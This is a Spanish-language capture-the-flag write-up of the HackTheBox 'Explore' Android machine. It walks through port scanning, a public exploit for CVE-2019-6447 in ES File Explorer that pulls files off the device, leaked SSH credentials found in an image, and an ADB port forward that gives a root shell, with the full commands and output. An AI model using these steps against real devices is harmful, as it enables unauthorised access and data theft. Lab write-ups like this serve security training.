Explore - HTB Writeup
Enumeración
Comenzamos enviando una paquete ICMP a la máquina con la herramienta ping
, con esto veremos su estado y su sistema operativo:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ ping -c 1 10.10.10.247
PING 10.10.10.247 (10.10.10.247) 56(84) bytes of data.
64 bytes from 10.10.10.247: icmp_seq=1 ttl=63 time=69.2 ms
--- 10.10.10.247 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 69.201/69.201/69.201/0.000 ms
Parámetro | Acción |
---|---|
-c 1 |
elegimos que solo queremos enviar 1 traza |
Se puede ver que la máquina está activa y que observando el TTL
, concluimos que es una máquina Linux.
Más información sobre la detección de OS mediante TTL aquí.
También puedes hacer uso de mi herramienta OSidentifier.
Nmap
Iniciamos la fase de reconocimiento de puertos con ayuda de la herramienta nmap
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ sudo nmap -p- --open -sS --min-rate 4000 -n 10.10.10.247 -sC -sV -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-01 11:39 WET
Nmap scan report for 10.10.10.247
Host is up (0.068s latency).
Not shown: 65530 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
36923/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Mon, 01 Nov 2021 11:39:43 GMT
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Mon, 01 Nov 2021 11:39:43 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Mon, 01 Nov 2021 11:39:48 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Mon, 01 Nov 2021 11:40:03 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Mon, 01 Nov 2021 11:39:48 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 01 Nov 2021 11:40:03 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?
| TLSSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Mon, 01 Nov 2021 11:40:03 GMT
| Content-Length: 71
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ??random1random2random3random4
| TerminalServerCookie:
| HTTP/1.0 400 Bad Request
| Date: Mon, 01 Nov 2021 11:40:03 GMT
| Content-Length: 54
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
|_ Cookie: mstshash=nmap
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
Service Info: Device: phone
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.58 seconds
Parámetro | Acción |
---|---|
-p- |
Es una forma de especificar que queremos escanear todos los puertos existentes, los 65535. |
--open |
Este parámetro hace que nos muestre únicamente los puertos abiertos, que nos omita los filtered. |
-sS |
Especificamos el tipo de escaneo ‘SYN port Scan’, que es más rápido y sigiloso que el tipo de escaneo por defecto. |
--min-rate [valor] |
Envía paquetes tan o más rápido que la tasa dada. |
-n |
Quitamos la resolución DNS para que el escaneo vaya más rápido. |
-sC |
Utiliza un escaneo con una serie de scripts por defecto de nmap. |
-sV |
Activa la detección de versiones. |
-oN [nombre de archivo] |
Exporta los resultados en formato normal, tal cual se ve en el escaneo. |
Podemos ver varios puertos abiertos:
Puerto | Servicio |
---|---|
2222 | Corresponde al servicio SSH |
36923 | No sabemos |
42135 | Puerto utilizado por el software ES File Explorer, una app de Android |
59777 | Parece ser un servicio HTTP |
User.txt
Me llama la atención el puerto sostenido por el servicio ES File Explorer
e investigo un poco más sobre este:
Al intentar buscar información sobre este puerto vemos que se hace mención a una vulnerabilidad.
Podemos ver su identificador CVE y también podemos comprobar que existen modulos de metasploit
para explotar esta vulnerabilidad.
Pero en este blog no utilizamos metasploit
, asi que me apoyo de un Proof of concept de GitHub para explotar la vulnerabilidad de forma manual.
LA vulnerabilidad consiste en lo siguiente:
Cada vez que un usuario abre la aplicación, se monta un servidor HTTP. El servidor se ejecuta en el puerto
59777
. En este puerto, un atacante puede enviar payloads en JSON para obtener información sobre el dispositivo, descargar imágenes, ejecutar aplicaciones remotamente, etc.
Buscando por exploitDB
encuentro un exploit funcional:
┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ python3 50070.py whoami 10.10.10.247
[-] WRONG COMMAND!
Available commands :
listFiles : List all Files.
listPics : List all Pictures.
listVideos : List all videos.
listAudios : List all audios.
listApps : List Applications installed.
listAppsSystem : List System apps.
listAppsPhone : List Communication related apps.
listAppsSdcard : List apps on the SDCard.
listAppsAll : List all Application.
getFile : Download a file.
getDeviceInfo : Get device info.
Intento ejecutar un whoami
pero no podemos.
Únicamente podemos ejecutar esos comandos que se nos listan.
Probemos con el comando getDeviceInfo
:
┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ python3 50070.py "getDeviceInfo" 10.10.10.247
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
name : VMware Virtual Platform
ftpRoot : /sdcard
ftpPort : 3721
Podemos concluir que hay una ruta con nombre /sdcard
.
Intentemos ejecutar otro comando, listPics
por ejemplo:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ python3 50070.py listPics 10.10.10.247
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
name : concept.jpg
time : 4/21/21 02:38:08 AM
location : /storage/emulated/0/DCIM/concept.jpg
size : 135.33 KB (138,573 Bytes)
name : anc.png
time : 4/21/21 02:37:50 AM
location : /storage/emulated/0/DCIM/anc.png
size : 6.24 KB (6,392 Bytes)
name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)
name : 224_anc.png
time : 4/21/21 02:37:21 AM
location : /storage/emulated/0/DCIM/224_anc.png
size : 124.88 KB (127,876 Bytes)
Podemos ver 4 archivos de imágen, pero hay uno que llama la atención.
¿creds.jpg
? ¿Credenciales?
Uso la función para descargar archivos que tiene implementado el exploit para examinar más en detalle esta imágen, que concretamente está localizada en /storage/emulated/0/DCIM/creds.jpg
:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ python3 50070.py getFile 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
[+] Downloading file...
[+] Done. Saved as `out.dat`.
Parece ser que se ha descargado, veamos la imagen para ver de que se trata:
Creds → kristi:Kr1sT!5h@Rp3xPl0r3!
¡Vaya! Parece ser un usuario y una contraseña.
Además la máquina tiene un puerto con SSH abierto. ¿Qué más se puede pedir?
Probemos a conectarnos por SSH con estas credenciales:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ ssh kristi@10.10.10.247 -p 2222
Password authentication
Password:
:/ $ whoami
u0_a76
¡Estamos dentro!
Una vez hemos llegado a este punto, podremos ver la flag user.txt
en la ruta /sdcard/user.txt
:
:/ $ cat /sdcard/user.txt
fXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0
Root.txt
Tras enumerar el sistema durante un buen rato, me doy cuenta de que hay puertos abiertos internamente:
:/sdcard $ netstat -nat | grep "LISTEN"
tcp6 0 0 :::42135 :::* LISTEN
tcp6 0 0 ::ffff:127.0.0.1:40031 :::* LISTEN
tcp6 0 0 :::59777 :::* LISTEN
tcp6 0 0 ::ffff:10.10.10.2:44263 :::* LISTEN
tcp6 0 0 :::2222 :::* LISTEN
tcp6 0 0 :::5555 :::* LISTEN
Tenemos varios puertos altos que corresponden al software ES file Explorer
y a otras funciones internas del dispositivo.
Pero me llama la atención el puerto 5555
.
Investigo sobre este puerto en Internet
:
Al buscar información sobre el puerto 5555
descubrimos la palabra clave ADB
Ahora busquemos por esta palabra:
Por lo que vemos parece ser un conjunto de herramientas con varias funciones, entre ellas proveer una shell de Unix.
Hagamos un local port forwarding para que este puerto sea accesible desde nuestra máquina y para poder enumerarlo con más facilidad.
┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ ssh kristi@10.10.10.247 -p 2222 -L 5555:127.0.0.1:5555
Password authentication
Password:
:/ $
Bien, ya tenemos conectividad con este puerto desde nuestra máquina. Probemos a usar nmap
para escanear este puerto:
┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ sudo nmap -p5555 -sV -sC 127.0.0.1
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-01 17:22 WET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000053s latency).
PORT STATE SERVICE VERSION
5555/tcp open freeciv?
| fingerprint-strings:
| adbConnect:
| CNXN
|_ device::ro.product.name=android_x86_64;ro.product.model=VMware Virtual Platform;ro.product.device=x86_64;features=cmd,stat_v2,shell_v2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5555-TCP:V=7.92%I=7%D=11/1%Time=6180224E%P=x86_64-pc-linux-gnu%r(ad
SF:bConnect,9E,"CNXN\x01\0\0\x01\0\x10\0\0\x86\0\0\0\x8e1\0\0\xbc\xb1\xa7\
SF:xb1device::ro\.product\.name=android_x86_64;ro\.product\.model=VMware\x
SF:20Virtual\x20Platform;ro\.product\.device=x86_64;features=cmd,stat_v2,s
SF:hell_v2");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.51 seconds
No conseguimos ver nada interensante.
Habíamos leído anteriormente que ADB
era capaz de proporcionar una shell de Unix. Pero, ¿como?
Investigo en Internet hasta que encuentro algo interesante:
Encuentro lo que parece ser un cheat sheet de comandos de ADB
.
Si no tienes instalado la herramienta adb
en linux, no pasa nada, aquí te dejo el comando de instalación:
Sistema | Comando |
---|---|
Basados en Debian |
sudo apt-get install adb |
Basados en Fedora /SUSE |
sudo yum install android-tools |
Pruebo a ejecutar el comando adb shell ls
que se supone que me debería de reportar el resultado del comando ls
en el sistema:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ adb shell ls
error: no devices/emulators found
Recibo un error asi que lo busco en Internet
Encuentro la solución, parece ser que antes de ejecutar cualquier comando hay que conectarse al dispositivo con adb connect IP:port
Bien, probemos:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555
Ahora ejecutemos de nuevo el comando adb shell ls
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $adb shell ls
acct
bin
bugreports
cache
charger
config
d
data
default.prop
dev
etc
fstab.android_x86_64
init
init.android_x86_64.rc
init.environ.rc
init.rc
init.superuser.rc
init.usb.configfs.rc
init.usb.rc
init.zygote32.rc
init.zygote64_32.rc
lib
mnt
odm
oem
plat_file_contexts
plat_hwservice_contexts
plat_property_contexts
plat_seapp_contexts
plat_service_contexts
proc
product
sbin
sdcard
sepolicy
storage
sys
system
ueventd.android_x86_64.rc
ueventd.rc
vendor
vendor_file_contexts
vendor_hwservice_contexts
vendor_property_contexts
vendor_seapp_contexts
vendor_service_contexts
vndservice_contexts
Podemos tener una shell interactiva corriendo una terminal sh
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ adb shell /bin/sh
whoami
root
¡Y además ya somos root
!, (Si no fuese así, deberás ejecutar el comando su
y deberías convertirte en usuario root
)
Una vez aquí, podremos ver la flag root.txt
en /data/root.txt
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ adb shell "cat /data/root.txt"
fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX5
Conclusión
En esta máquina Android (Linux), para acceder como usuario no privilegiado, hemos explotado una vulnerabilidad de una versión desactualizada del software ES file explorer
con el que hemos podido visualizar una imágen con credenciales, las cuales hemos utilizado para conectarnos a la máquina por SSH.
Para obtener acceso como usuario root, nos hemos aprovechado de un puerto abierto internamente que correspondía con ADB
para generar una shell como root.